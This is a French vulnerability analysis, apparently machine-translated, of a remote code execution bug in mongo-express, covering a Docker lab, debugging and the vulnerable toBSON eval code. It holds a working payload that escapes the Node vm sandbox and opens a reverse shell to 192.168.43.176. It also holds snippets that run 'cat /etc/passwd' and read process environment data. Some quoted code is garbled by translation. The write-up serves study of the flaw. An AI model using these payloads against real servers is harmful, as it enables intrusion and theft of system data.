Maison > Article > Opération et maintenance > Analyse de cas de vulnérabilité d'exécution de code à distance
mongo-express est une interface de gestion Web d'administration MongoDB, écrite en utilisant NodeJS, Express et Bootstrap3. Actuellement, mongo-express devrait être l'interface de gestion d'administration MongoDB avec le plus d'étoiles sur Github. Facile à déployer et simple à utiliser, il est devenu le choix de nombreuses personnes pour gérer mongo.
En lisant le bulletin de sécurité officiel de GitHub, nous avons constaté que la vulnérabilité affecte toutes les versions inférieures à 0.54.0. Choisissez 0.49 comme exemple de test Étant donné que cet environnement de vulnérabilité nécessite également une base de données MongoDB, nous pouvons le construire rapidement en exécutant la commande docker suivante :
Construire une base de données MongoDB<br>
docker run --name test - d mongo : 3.2
Construisez mongo-express contenant la vulnérabilité et connectez-vous à la base de données MongoDB ci-dessus : <br>
docker run -d -p 8081:8081 --link test:mongo mongo-express:0.49
Consultez le journal, confirmez que la connexion est réussie.
Une astuce est nécessaire ici Si vous souhaitez déboguer nodejs, vous devez ajouter le paramètre --inspect au démarrage. Apportez les modifications suivantes au script de démarrage de Docker
docker restart 183
Utilisez docker exec -it 183 bash pour vous connecter à Docker afin de vérifier si le service de débogage est activé
Ouvrez le port 9229 comme indiqué dans la photo ci-dessus. Tant que l'hôte externe peut se connecter au port 9229, vous pouvez utiliser le plug-in Chrome pour le débogage. Vous pouvez utiliser frp pour transférer le port ou utiliser le paramètre docker -p 9229:9229 pour le traitement.
En utilisant le plug-in Chrome, vous pouvez déboguer les nodejs comme le débogage des scripts javascript, et il est également très pratique à utiliser.
Téléchargez d'abord le plug-in de débogage
Ouvrir à propos dans Chrome : inspectez Chrome devtools a pris en charge le débogage Nodejs en mai 2016, cliquez sur Ouvrir les DevTools dédiés pour Node
Configurer l'adresse et le port de connexion
L'étape suivante ressemble au débogage de js
Envoyez un package de test, la branche de routage peut être déconnectée, puis commencez à déboguer cette vulnérabilité.
<br>
<br>
curl http://127.0.0.1:8081/checkValid -d 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("bash -i > ;& /dev/tcp/192.168.43.176/8003 0>&1 2>&1")'
Le principe de vulnérabilité de ce débogage est relativement simple. La vulnérabilité principale est la commande épissage. Il s'agit de la forme de vulnérabilité la plus simple, mais son exploitation nécessite des efforts car elle doit contourner la VM sandbox. Heureusement, nodejs dispose d'une base de recherche pour le contournement de la VM. Sans plus tarder, regardons simplement le code de vulnérabilité final
string est le paramètre de toBSON. BSON est un format de données courant dans MongoDB et est un proche parent de JSON, mais il existe de nombreuses différences par rapport au format de données de. JSON Cependant, toutes les opérations liées à BSON dans mongo-express, telles que la création d'un nouveau document (similaire aux opérations d'insertion dans d'autres bases de données), doivent passer par la fonction toBSON().
Par exemple, l'opération suivante
Lorsque le flux de code atteint bson.toBSON, la fonction eval sera déclenchée. Étant donné que nodejs peut être utilisé comme langage back-end, la fonction eval est exécutée côté serveur. , ce qui peut provoquer une injection de commandes et endommager le système.
<br>
<br>
exp.checkValid = function (req, res) {var doc = req.body.document;try { bson.toBSON(doc);} catch (err) { console.error(err); return res.send( 'Invalide');}res.send('Valide'); };
<br>
exports.toBSON = fonction (chaîne) { var bac à sable = exports.getSandbox(); string = string.replace(/ISODate(/g, 'new ISODate('); string = string.replace(/Binary(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),'); vm.runInNewContext('doc = eval((' + string + '));', sandbox); return sandbox.doc;};
Selon l'analyse de la source du code, la chaîne de paramètres de toBSON est le document dans req.body, nous pouvons donc contrôler cette partie. Vous pouvez trouver la fonction vm.runInNewContext, qui est un bac à sable virtuel. Par conséquent, nous analyserons comment contourner la protection sandbox dans la section suivante.
Un sandbox est un environnement indépendant qui peut exécuter en toute sécurité du code non fiable sans affecter le code externe réel. L'exécution de code est souvent restreinte dans un bac à sable. Le module VM fournit une API pour compiler et exécuter du code dans le contexte d'une machine virtuelle VM. Utilisez le module VM pour exécuter du code dans un environnement sandbox. Le code en cours d'exécution utilise un contexte V8 différent, c'est-à-dire que ses variables globales sont différentes des autres codes. Mais le code dans le bac à sable peut toujours accéder au processus Node. Nous utilisons souvent cette méthode pour contourner.
vm.js
<br>
<br>
"use strict";const vm = require("vm");const xyz = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);console.log(xyz);
Vous pouvez voir que this.process.env a obtenu les informations sur le processus nodejs, ce qui montre que vous pouvez revenir au programme principal pour exécuter les commandes système.
En javascript, cela pointe vers l'objet auquel il appartient, donc lorsque nous l'utilisons, il pointe déjà vers un objet en dehors du contexte de la VM. Ensuite, le .constructor qui accède à cela renvoie le constructeur d'objet, et le .constructor qui accède au constructeur d'objet renvoie le constructeur de fonction. Le constructeur de fonctions est comme la fonction la plus élevée de Javascript qui permet un accès global. Le constructeur Function permet de générer des fonctions à partir de chaînes, exécutant ainsi du code arbitraire. Nous pouvons donc l'utiliser pour revenir au processus principal. Nous pouvons ensuite l'utiliser pour accéder au processus principal et effectuer RCE.
<br>
<br>
"use strict";const vm = require("vm");const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')() ; process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()`);console.log(xyz);
De même, la fonction vm2 peut également être contourné Cependant, étudions en nous référant au texte original https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!